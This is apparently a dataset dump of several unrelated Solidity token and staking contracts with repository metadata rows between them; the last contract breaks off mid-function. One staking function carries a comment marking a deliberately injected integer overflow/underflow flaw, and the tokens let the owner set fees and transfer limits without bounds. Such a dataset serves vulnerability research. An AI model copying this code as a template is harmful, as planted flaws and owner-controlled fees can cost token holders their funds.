function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address is not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function plant(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unplant(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function reap() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
| 280,156 | 13,635 |
756a0c7252aa70a1085939fbd74b530d07d7a23035f129f349d8bbaf6ff4e95b
| 29,448 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/62/62D63789763Cbfc2218115e9d341e9a7CBD80774_FAIRCASTLE.sol
| 5,186 | 18,692 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FAIRCASTLE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 15000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Faircastle';
string private constant _symbol = 'FCS';
uint256 private _taxFee = 400;
uint256 private _burnFee = 200;
uint public max_tx_size = 15000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xEB04389c2a51B739D971e130dc6310Ad54e9d6a2, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 317,529 | 13,636 |
19bf96acb8717cdeb41b805523c46ef3da41275ce38e4a95e7429a66ccd5bc2c
| 25,555 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TERbZMH81qjVBAYmWh35caoTaQQ9ynpAgY_OKGO.sol
| 4,059 | 15,849 |
//SourceUnit: okgo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract OKGO is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'OKGO';
string private _symbol = 'OKGO';
uint8 private _decimals = 6;
uint256 private _totalSupply = 100000000000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 10;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 0;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 1000000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private maxSale= 10000000 * 10**18;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 0 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if(Address.isContract(recipient)){
require(amount<=maxSale,"");
}
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 292,459 | 13,637 |
a0e4a951b0ae1e8f4bcb2787dc0c776994b5c53e6a370238325ae5166d095e75
| 19,428 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/bc/bcd4bedb53c70cf6022571bac9b74601036d3009_SOLPOUNDToken.sol
| 3,215 | 12,319 |
pragma solidity ^0.4.25;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, 'only owner');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
